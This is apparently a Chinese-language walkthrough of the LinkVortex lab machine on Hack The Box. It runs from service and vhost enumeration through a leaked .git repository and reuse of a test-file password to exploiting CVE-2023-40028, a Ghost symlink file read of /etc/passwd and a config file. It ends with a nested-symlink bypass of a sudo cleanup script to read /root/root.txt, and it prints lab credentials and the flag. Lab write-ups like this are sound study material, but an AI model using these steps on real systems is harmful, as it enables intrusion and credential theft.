目录

USER

nmap扫描结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ nmap -sC -sV 10.10.11.47
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-11 10:08 CST
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
| root-servers
| nstld
|_ verisign-grs
80/tcp open http Apache httpd
|_http-generator: Ghost 5.58
|_http-title: BitByBit Hardware
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-server-header: Apache
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94%I=7%D=12/11%Time=6758F426%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,6B,"\0i\0\x06\x85\x03\0\x01\0\0\0\x01\0\0\x07version\
SF:x04bind\0\0\x10\0\x03\0\0\x06\0\x01\0\0\x01G\0@\x01a\x0croot-servers\x0
SF:3net\0\x05nstld\x0cverisign-grs\x03com\0x\xa5\xa2\xa9\0\0\x07\x08\0\0\x
SF:03\x84\0\t:\x80\0\x01Q\x80")%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\x0
SF:2\0\0\0\0\0\0\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.97 seconds

开放了80端口,初步判断有robots.txt,后端是ghost框架
robots.txt的内容:

1
2
3
4
5
6
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

其中有用的只有一个 /ghost/路由,但是先不急,在/路由的前端先看看有没有敏感的API

1.在文章里面点击admin头像发现http://linkvortex.htb/author/admin/路由
2.meta标签泄露了后端的版本号5.58,这个版本是有很多CVE的node CVE

1
{"modulePrefix":"ghost-admin","environment":"production","cdnUrl":"","rootURL":"","locationType":"trailing-hash","EmberENV":{"FEATURES":{},"EXTEND_PROTOTYPES":{"Date":false,"Array":true,"String":true,"Function":false},"_APPLICATION_TEMPLATE_WRAPPER":false,"_JQUERY_INTEGRATION":true,"_TEMPLATE_ONLY_GLIMMER_COMPONENTS":true},"APP":{"version":"5.58","name":"ghost-admin"},"ember-simple-auth":{},"ember-websockets":{"socketIO":true},"@sentry/ember":{"disablePerformance":true,"sentry":{}},"ember-cli-mirage":{"usingProxy":false,"useDefaultPassthroughs":true},"exportApplicationGlobal":false,"ember-load":{"loadingIndicatorClass":"ember-load-indicator"}}

/的路由貌似到此为止,而测试/ghost路由会发现所有路由都要求你登录(除了/ghost/api/,但是目前没什么用),尝试枚举一下子域名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
─$ gobuster vhost -u http://linkvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/amass/subdomains-top1mil-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]

在/etc/hosts中添加dev.linkvortex.htb后访问域名发现这个域名看起来没什么功能,扫一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ gobuster dir -u http://dev.linkvortex.htb -w /usr/share/wordlists/dirb/common.txt -r

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD (Status: 200) [Size: 41]
/.htaccess (Status: 403) [Size: 199]
/.hta (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]

在/.git/config发现git泄露https://github.com/TryGhost/Ghost.git
用git-dumper把它下载下来

1
git-dumper http://dev.linkvortex.htb/.git ./site

然后进入site目录会发现文件非常多,其中有一个dockerfile,有三个重要文件/var/lib/ghost/wait-for-it.sh,/entry.sh,/var/lib/ghost/config.production.json
一个个去翻有点慢,尝试看能不能找到admin的登录密码: grep -r password .
输出内容相当多,但是翻一会就会发现有几个文件有(只放一个文件)
1./ghost/security/test/tokens.test.js: password: ‘12345678’,
2./ghost/core/test/utils/fixtures/data-generator.js: password: ‘Sl1m3rson99’
3./ghost/core/test/utils/fixtures/export/v4_export.json: “password”: “$2a$10$GKFu8wxSXZNFF/cEmTE0/O1FZIz5uRGwlLmYKRicdCRR.bvBeBsJa”,
4./ghost/core/test/utils/fixtures/filter-param/index.js: password: ‘$2a$10$.pZeeBE0gHXd0PTnbT/ph.GEKgd0Wd3q2pWna3ynTGBkPKnGIKZL6’
5./ghost/core/test/regression/api/admin/authentication.test.js: const password = ‘OctopiFociPilfer45’;
前四个都登不进去,这些邮箱都是不存在的,拿admin@linkvortex.htb和这些密码试一下会发现最后OctopiFociPilfer45可以登录
admin没有什么直接操作文件系统的api,这时候就可以去找CVE了
发现XSS和access control的对我们都没什么用注意到<5.59.1存在任意读取漏洞,描述如下:

1
2
3
Affected versions of this package are vulnerable to Arbitrary File Read which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system.

Note: Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's content/ folder.

我们正好拿到了一个a认证用户
所以我们尝试CVE-2023-40028
注意修改文件中的host
然后
./exp.sh -u admin@linkvortex.htb -p OctopiFociPilfer45会得到一个伪shell能够读取文件
先看看哪些用户可能能够ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
./exp.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

没得到有用的用户,因为ghost是在docker里面跑的 而docker里面的node用户读不了前两个文件(权限不足)
“mail”: {
“transport”: “SMTP”,
“options”: {
“service”: “Google”,
“host”: “linkvortex.htb”,
“port”: 587,
“auth”: {
“user”: “bob@linkvortex.htb“,
“pass”: “fibber-talented-worth”
}
}
}
尝试ssh,发现成功,就能读user.txt了

ROOT

在shell中去查找suid程序,发现没东西可用,再查找进程,总共只有三个进程,也没什么办法。但是貌似它是sudoers,查看sudo -l:

1
2
3
4
5
6
7
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

bob虽然是sudoers但是只能执行/usr/bin/bash /opt/ghost/clean_symlink.sh *.png这条命令
查看/opt/ghost/clean_symlink.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

这个脚本检查传入的参数如果是软链接是否指向etc或者root,但是readlink不会递归去获取软链接的对象,所以中间套一层软链接就可用绕过了,记得加上环境变量$CHECK_CONTENT

1
2
3
4
5
6
7
8
9
10
11
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ touch link1.png
bob@linkvortex:~$ ln -sf /root/root.txt link1.png
bob@linkvortex:~$ touch link2.png
bob@linkvortex:~$ ln -sf /home/bob/link1.png link2.png
bob@linkvortex:~$ sudo bash /opt/ghost/clean_symlink.sh link2.png
Link found [ link2.png ] , moving it to quarantine
Content:
c0c71b75e2b2fe359a4bfc09df9c8af4
bob@linkvortex:~$